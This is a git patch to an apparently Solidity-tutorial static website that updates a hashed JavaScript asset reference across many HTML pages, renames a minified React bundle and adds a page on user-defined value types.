From 8dd32d3aab6d617fe116be656325f6d9e0675b58 Mon Sep 17 00:00:00 2001 From: t4sk Date: Tue, 27 Aug 2024 21:51:29 +0900 Subject: [PATCH] Updates --- 404.html | 2 +- abi-decode/index.html | 2 +- abi-encode/index.html | 2 +- app/airdrop/index.html | 2 +- app/assembly-bin-exp/index.html | 2 +- app/bi-directional-payment-channel/index.html | 2 +- app/create2/index.html | 2 +- app/crowd-fund/index.html | 2 +- app/deploy-any-contract/index.html | 2 +- app/dutch-auction/index.html | 2 +- app/english-auction/index.html | 2 +- app/erc1155/index.html | 2 +- app/erc20/index.html | 2 +- app/erc721/index.html | 2 +- app/ether-wallet/index.html | 2 +- app/gasless-token-transfer/index.html | 2 +- app/iterable-mapping/index.html | 2 +- app/merkle-tree/index.html | 2 +- app/minimal-proxy/index.html | 2 +- app/multi-call/index.html | 2 +- app/multi-delegatecall/index.html | 2 +- app/multi-sig-wallet/index.html | 2 +- app/simple-bytecode-contract/index.html | 2 +- app/time-lock/index.html | 2 +- .../index.html | 2 +- app/upgradeable-proxy/index.html | 2 +- app/write-to-any-slot/index.html | 2 +- array/index.html | 2 +- assembly-error/index.html | 2 +- assembly-if/index.html | 2 +- assembly-loop/index.html | 2 +- assembly-math/index.html | 2 +- assembly-variable/index.html | 2 +- .../{index-CuSOPVHH.js => index-COAuwKTj.js} | 338 +++++++++++------- bitwise/index.html | 2 +- call/index.html | 2 +- calling-contract/index.html | 2 +- constants/index.html | 2 +- constructor/index.html | 2 +- data-locations/index.html | 2 +- defi/chainlink-price-oracle/index.html | 2 +- defi/constant-product-amm/index.html | 2 +- defi/constant-sum-amm/index.html | 2 +- defi/dai-proxy/index.html | 2 +- defi/discrete-staking-rewards/index.html | 2 +- defi/stable-swap-amm/index.html | 2 +- defi/staking-rewards/index.html | 2 +- .../index.html | 2 +- defi/uniswap-v2-flash-swap/index.html | 2 +- .../index.html | 2 +- defi/uniswap-v2/index.html | 2 +- defi/uniswap-v3-flash-swap/index.html | 2 +- defi/uniswap-v3-flash/index.html | 2 +- defi/uniswap-v3-liquidity/index.html | 2 +- defi/uniswap-v3-swap/index.html | 2 +- defi/vault/index.html | 2 +- delegatecall/index.html | 2 +- enum/index.html | 2 +- error/index.html | 2 +- ether-units/index.html | 2 +- events-advanced/index.html | 2 +- events/index.html | 2 +- evm/memory/index.html | 2 +- evm/storage/index.html | 2 +- fallback/index.html | 2 +- first-app/index.html | 2 +- function-modifier/index.html | 2 +- function-selector/index.html | 2 +- function/index.html | 2 +- gas-golf/index.html | 2 +- gas/index.html | 2 +- hacks/accessing-private-data/index.html | 2 +- hacks/block-timestamp-manipulation/index.html | 2 +- hacks/contract-size/index.html | 2 +- hacks/delegatecall/index.html | 2 +- hacks/denial-of-service/index.html | 2 +- .../index.html | 2 +- hacks/front-running/index.html | 2 +- .../index.html | 2 +- hacks/honeypot/index.html | 2 +- hacks/overflow/index.html | 2 +- hacks/phishing-with-tx-origin/index.html | 2 +- hacks/randomness/index.html | 2 +- hacks/re-entrancy/index.html | 2 +- hacks/self-destruct/index.html | 2 +- hacks/signature-replay/index.html | 2 +- hacks/vault-inflation/index.html | 2 +- hacks/weth-permit/index.html | 2 +- hashing/index.html | 2 +- hello-world/index.html | 2 +- if-else/index.html | 2 +- immutable/index.html | 2 +- import/index.html | 2 +- index.html | 2 +- inheritance/index.html | 2 +- interface/index.html | 2 +- library/index.html | 2 +- loop/index.html | 2 +- mapping/index.html | 2 +- new-contract/index.html | 2 +- payable/index.html | 2 +- primitives/index.html | 2 +- sending-ether/index.html | 2 +- .../index.html | 2 +- signature/index.html | 2 +- state-variables/index.html | 2 +- structs/index.html | 2 +- super/index.html | 2 +- tests/echidna/index.html | 2 +- transient-storage/index.html | 2 +- try-catch/index.html | 2 +- unchecked-math/index.html | 2 +- user-defined-value-types/index.html | 45 +++ variables/index.html | 2 +- view-and-pure-functions/index.html | 2 +- visibility/index.html | 2 +- 116 files changed, 371 insertions(+), 240 deletions(-) rename assets/{index-CuSOPVHH.js => index-COAuwKTj.js} (90%) create mode 100644 user-defined-value-types/index.html diff --git a/404.html b/404.html index f1f394a4c..0ba192e2c 100644 --- a/404.html +++ b/404.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/abi-decode/index.html b/abi-decode/index.html index f1f394a4c..0ba192e2c 100644 --- a/abi-decode/index.html +++ b/abi-decode/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/abi-encode/index.html b/abi-encode/index.html index f1f394a4c..0ba192e2c 100644 --- a/abi-encode/index.html +++ b/abi-encode/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/airdrop/index.html b/app/airdrop/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/airdrop/index.html +++ b/app/airdrop/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/assembly-bin-exp/index.html b/app/assembly-bin-exp/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/assembly-bin-exp/index.html +++ b/app/assembly-bin-exp/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/bi-directional-payment-channel/index.html b/app/bi-directional-payment-channel/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/bi-directional-payment-channel/index.html +++ b/app/bi-directional-payment-channel/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/create2/index.html b/app/create2/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/create2/index.html +++ b/app/create2/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/crowd-fund/index.html b/app/crowd-fund/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/crowd-fund/index.html +++ b/app/crowd-fund/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/deploy-any-contract/index.html b/app/deploy-any-contract/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/deploy-any-contract/index.html +++ b/app/deploy-any-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/dutch-auction/index.html b/app/dutch-auction/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/dutch-auction/index.html +++ b/app/dutch-auction/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/english-auction/index.html b/app/english-auction/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/english-auction/index.html +++ b/app/english-auction/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/erc1155/index.html b/app/erc1155/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/erc1155/index.html +++ b/app/erc1155/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/erc20/index.html b/app/erc20/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/erc20/index.html +++ b/app/erc20/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/erc721/index.html b/app/erc721/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/erc721/index.html +++ b/app/erc721/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/ether-wallet/index.html b/app/ether-wallet/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/ether-wallet/index.html +++ b/app/ether-wallet/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/gasless-token-transfer/index.html b/app/gasless-token-transfer/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/gasless-token-transfer/index.html +++ b/app/gasless-token-transfer/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/iterable-mapping/index.html b/app/iterable-mapping/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/iterable-mapping/index.html +++ b/app/iterable-mapping/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/merkle-tree/index.html b/app/merkle-tree/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/merkle-tree/index.html +++ b/app/merkle-tree/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/minimal-proxy/index.html b/app/minimal-proxy/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/minimal-proxy/index.html +++ b/app/minimal-proxy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/multi-call/index.html b/app/multi-call/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/multi-call/index.html +++ b/app/multi-call/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/multi-delegatecall/index.html b/app/multi-delegatecall/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/multi-delegatecall/index.html +++ b/app/multi-delegatecall/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/multi-sig-wallet/index.html b/app/multi-sig-wallet/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/multi-sig-wallet/index.html +++ b/app/multi-sig-wallet/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/simple-bytecode-contract/index.html b/app/simple-bytecode-contract/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/simple-bytecode-contract/index.html +++ b/app/simple-bytecode-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/time-lock/index.html b/app/time-lock/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/time-lock/index.html +++ b/app/time-lock/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/uni-directional-payment-channel/index.html b/app/uni-directional-payment-channel/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/uni-directional-payment-channel/index.html +++ b/app/uni-directional-payment-channel/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/upgradeable-proxy/index.html b/app/upgradeable-proxy/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/upgradeable-proxy/index.html +++ b/app/upgradeable-proxy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/write-to-any-slot/index.html b/app/write-to-any-slot/index.html index f1f394a4c..0ba192e2c 100644 --- a/app/write-to-any-slot/index.html +++ b/app/write-to-any-slot/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/array/index.html b/array/index.html index f1f394a4c..0ba192e2c 100644 --- a/array/index.html +++ b/array/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-error/index.html b/assembly-error/index.html index f1f394a4c..0ba192e2c 100644 --- a/assembly-error/index.html +++ b/assembly-error/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-if/index.html b/assembly-if/index.html index f1f394a4c..0ba192e2c 100644 --- a/assembly-if/index.html +++ b/assembly-if/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-loop/index.html b/assembly-loop/index.html index f1f394a4c..0ba192e2c 100644 --- a/assembly-loop/index.html +++ b/assembly-loop/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-math/index.html b/assembly-math/index.html index f1f394a4c..0ba192e2c 100644 --- a/assembly-math/index.html +++ b/assembly-math/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-variable/index.html b/assembly-variable/index.html index f1f394a4c..0ba192e2c 100644 --- a/assembly-variable/index.html +++ b/assembly-variable/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assets/index-CuSOPVHH.js b/assets/index-COAuwKTj.js similarity index 90% rename from assets/index-CuSOPVHH.js rename to assets/index-COAuwKTj.js index 7eb7c1bf5..1edce2218 100644 --- a/assets/index-CuSOPVHH.js +++ b/assets/index-COAuwKTj.js @@ -1,4 +1,4 @@ -function yg(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Ko(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Mo={exports:{}},jp={},So={exports:{}},v={};/** +function Ag(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Fo(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Mo={exports:{}},jp={},So={exports:{}},R={};/** * @license React * react.production.min.js * @@ -6,7 +6,7 @@ function yg(s,a){for(var n=0;n>>1,$=f[T];if(0>>1;Tp(Mp,R))ka<$&&0>p(hl,Mp)?(f[T]=hl,f[ka]=R,T=ka):(f[T]=Mp,f[wa]=R,T=wa);else if(ka<$&&0>p(hl,R))f[T]=hl,f[ka]=R,T=ka;else break s}}return X}function p(f,X){var R=f.sortIndex-X.sortIndex;return R!==0?R:f.id-X.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,u=!1,m=!1,b=!1,Z=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(f){for(var X=n(i);X!==null;){if(X.callback===null)l(i);else if(X.startTime<=f)l(i),X.sortIndex=X.expirationTime,a(o,X);else break;X=n(i)}}function y(f){if(b=!1,C(f),!m)if(n(o)!==null)m=!0,Fp(W);else{var X=n(i);X!==null&&Kp(y,X.startTime-f)}}function W(f,X){m=!1,b&&(b=!1,h(Y),Y=-1),u=!0;var R=j;try{for(C(X),d=n(o);d!==null&&(!(d.expirationTime>X)||f&&!Xs());){var T=d.callback;if(typeof T=="function"){d.callback=null,j=d.priorityLevel;var $=T(d.expirationTime<=X);X=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(X)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Kp(y,wa.startTime-X),gl=!1}return gl}finally{d=null,j=R,u=!1}}var k=!1,G=null,Y=-1,x=5,N=-1;function Xs(){return!(s.unstable_now()-Nf||125T?(f.sortIndex=R,a(i,f),n(o)===null&&f===n(i)&&(b?(h(Y),Y=-1):b=!0,Kp(y,R-T))):(f.sortIndex=$,a(o,f),m||u||(m=!0,Fp(W))),f},s.unstable_shouldYield=Xs,s.unstable_wrapCallback=function(f){var X=j;return function(){var R=j;j=X;try{return f.apply(this,arguments)}finally{j=R}}}})(Po);Oo.exports=Po;var zg=Oo.exports;/** + */(function(s){function a(f,X){var v=f.length;f.push(X);s:for(;0>>1,$=f[T];if(0>>1;Tp(Mp,v))ka<$&&0>p(hl,Mp)?(f[T]=hl,f[ka]=v,T=ka):(f[T]=Mp,f[wa]=v,T=wa);else if(ka<$&&0>p(hl,v))f[T]=hl,f[ka]=v,T=ka;else break s}}return X}function p(f,X){var v=f.sortIndex-X.sortIndex;return v!==0?v:f.id-X.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,u=!1,m=!1,b=!1,B=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(f){for(var X=n(i);X!==null;){if(X.callback===null)l(i);else if(X.startTime<=f)l(i),X.sortIndex=X.expirationTime,a(o,X);else break;X=n(i)}}function y(f){if(b=!1,C(f),!m)if(n(o)!==null)m=!0,Kp(Z);else{var X=n(i);X!==null&&Fp(y,X.startTime-f)}}function Z(f,X){m=!1,b&&(b=!1,h(Y),Y=-1),u=!0;var v=j;try{for(C(X),d=n(o);d!==null&&(!(d.expirationTime>X)||f&&!Xs());){var T=d.callback;if(typeof T=="function"){d.callback=null,j=d.priorityLevel;var $=T(d.expirationTime<=X);X=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(X)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Fp(y,wa.startTime-X),gl=!1}return gl}finally{d=null,j=v,u=!1}}var k=!1,G=null,Y=-1,x=5,N=-1;function Xs(){return!(s.unstable_now()-Nf||125T?(f.sortIndex=v,a(i,f),n(o)===null&&f===n(i)&&(b?(h(Y),Y=-1):b=!0,Fp(y,v-T))):(f.sortIndex=$,a(o,f),m||u||(m=!0,Kp(Z))),f},s.unstable_shouldYield=Xs,s.unstable_wrapCallback=function(f){var X=j;return function(){var v=j;j=X;try{return f.apply(this,arguments)}finally{j=v}}}})($o);Po.exports=$o;var xg=Po.exports;/** * @license React * react-dom.production.min.js * @@ -30,15 +30,15 @@ function yg(s,a){for(var n=0;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,Dg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,It={},dt={};function Eg(s){return Ce.call(dt,s)?!0:Ce.call(It,s)?!1:Dg.test(s)?dt[s]=!0:(It[s]=!0,!1)}function Qg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Tg(s,a,n,l){if(a===null||typeof a>"u"||Qg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var jc=/[\-:]([a-z])/g;function Ac(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(jc,Ac);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(jc,Ac);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(jc,Ac);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function uc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,zg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,dt={},Ct={};function Dg(s){return Ce.call(Ct,s)?!0:Ce.call(dt,s)?!1:zg.test(s)?Ct[s]=!0:(dt[s]=!0,!1)}function Eg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Qg(s,a,n,l){if(a===null||typeof a>"u"||Eg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Ac=/[\-:]([a-z])/g;function uc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Ac,uc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function yc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2t||p[c]!==e[t]){var o=` -`+p[c].replace(" at new "," at ");return s.displayName&&o.includes("")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?Vn(s):""}function Ug(s){switch(s.tag){case 5:return Vn(s.type);case 16:return Vn("Lazy");case 13:return Vn("Suspense");case 19:return Vn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case yc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case mc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case bc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function _g(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return 